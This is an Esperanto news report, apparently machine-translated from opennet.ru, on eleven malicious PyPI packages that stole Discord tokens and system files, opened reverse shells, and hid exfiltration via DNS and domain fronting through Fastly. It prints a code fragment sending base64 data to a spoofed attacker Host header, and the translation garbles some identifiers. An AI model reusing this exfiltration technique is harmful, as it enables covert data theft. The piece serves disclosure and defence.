Malicaj bibliotekoj detektitaj en la katalogo PyPI, kiuj uzas la PyPI CDN por kaŝi la komunikadkanalon

En la dosierujo PyPI (Python Package Index), 11 pakaĵoj enhavantaj malican kodon estis identigitaj. Antaŭ ol problemoj estis identigitaj, la pakaĵoj estis elŝutitaj ĉirkaŭ 38 mil fojojn entute. La detektitaj malicaj pakaĵoj estas rimarkindaj pro sia uzo de kompleksaj metodoj por kaŝi komunikajn kanalojn kun la serviloj de la atakantoj.

  • importantpackage (6305 elŝutoj), important-package (12897) - establis konekton al ekstera servilo sub la preteksto de konekto al pypi.python.org por disponigi ŝelan aliron al la sistemo (inversa ŝelo) kaj uzis la trevorc2-programon por kaŝi la komunika kanalo.
  • pptest (10001), ipboards (946) - uzis DNS kiel komunika kanalo por transdoni informojn pri la sistemo (en la unua pako la gastiga nomo, labordosierujo, interna kaj ekstera IP, en la dua - la uzantnomo kaj gastiga nomo) .
  • owlmoon (3285), DiscordSafety (557), yiffparty (1859) - identigis la Discord-servĵetonon en la sistemo kaj sendis ĝin al ekstera gastiganto.
  • trrfab (287) - sendis la identigilon, gastigan nomon kaj enhavon de /etc/passwd, /etc/hosts, /home al la ekstera gastiganto.
  • 10Cent10 (490) - establis inversan ŝelkonekton kun ekstera gastiganto.
  • yandex-yt (4183) - montris mesaĝon pri la sistemo kompromitita kaj redirektita al paĝo kun pliaj informoj pri pliaj agoj eldonitaj per nda.ya.ru (api.ya.cc).

Aparte notinde estas la metodo de aliro al eksteraj gastigantoj uzataj en la pakoj de grava pako kaj grava pako, kiuj uzis la reton de livero de enhavo Fastly uzata en la dosierujo PyPI por kaŝi sian agadon. Fakte, petoj estis senditaj al la servilo pypi.python.org (inkluzive de specifi la nomon python.org en SNI ene de la HTTPS-peto), sed la HTTP "Gastiganto"-kapo inkludis la nomon de la servilo kontrolita de la atakantoj (sek. antaŭen.io. global.prod.fastly.net). La enhavo-livera reto sendis similan peton al la ataka servilo, uzante la parametrojn de la TLS-konekto al pypi.python.org dum transdono de datumoj.

La PyPI-infrastrukturo estas funkciigita de la Fastly-enhava livera reto, kiu uzas la travideblan prokurilon Varnish por kaŝmemori tipajn petojn, kaj ankaŭ uzas TLS-atestilpretigon ĉe la CDN-nivelo, prefere ol ĉe la finserviloj, por plusendi HTTPS-petojn per prokurilo. Sendepende de la cela gastiganto, petoj estas senditaj al la prokurilo, kiu determinas la deziratan gastiganton per la HTTP "Gastiganto"-kapo, kaj la gastigaj domajnaj nomoj estas ligitaj al la IP-adresoj de CDN-ŝarĝbalancilo, kiuj estas tipaj por ĉiuj Fastly-klientoj.

La servilo de la atakantoj ankaŭ registras ĉe CDN Fastly, kiu provizas senpagajn planojn al ĉiuj kaj eĉ permesas anoniman registradon. Estas rimarkinde, ke por sendi petojn al la viktimo kreante "inversan ŝelon", ankaŭ skemo estas uzata, sed komencita de la flanko de la gastiganto de la atakanto. De ekstere, interago kun la servilo de la atakantoj aspektas kiel legitima kunsido kun la dosierujo PyPI, ĉifrita per atestilo PyPI TLS. Simila tekniko, konata kiel "domajna frontado", antaŭe estis aktive uzita por kaŝi la gastigan nomon kiam preterpasis blokadon, uzante la kapablon disponigitan en kelkaj CDN-retoj por aliri HTTPS indikante fikcian gastiganton en la SNI kaj fakte elsendante la nomon de la. petita gastiganto en la HTTP-Gastiganto-kapo ene de TLS-sesio.

Malicaj bibliotekoj detektitaj en la katalogo PyPI, kiuj uzas la PyPI CDN por kaŝi la komunikadkanalon

Por kaŝi malican agadon, la pako TrevorC2 estis aldone uzata por fari interagon kun la servilo simila al regula interreta navigado, ekzemple, malicaj petoj estis senditaj sub la preteksto de elŝuto de la bildo "https://pypi.python.org/images/". guid=" kun informa kodado en guid-parametro. url = "https://pypi.python.org" + "/bildoj" + "?" + "guid=" + b64_payload r = peto.Peto (url, headers = {'Gastiganto': "psec.forward.io.global.prod.fastly.net"})

La pakaĵoj pptest kaj ipboards uzis malsaman aliron por kaŝi retan agadon, bazitan sur kodado de utilaj informoj en demandoj al la DNS-servilo. La malware transdonas informojn plenumante DNS-petojn kiel "nu4timjagq4fimbuhe.example.com", en kiu la datumoj transdonitaj al la kontrolservilo estas koditaj uzante la base64-formaton en la subdomajna nomo. La atakanto ricevas ĉi tiujn mesaĝojn kontrolante la DNS-servilon por la domajno example.com.

fonto: opennet.ru

Aldoni komenton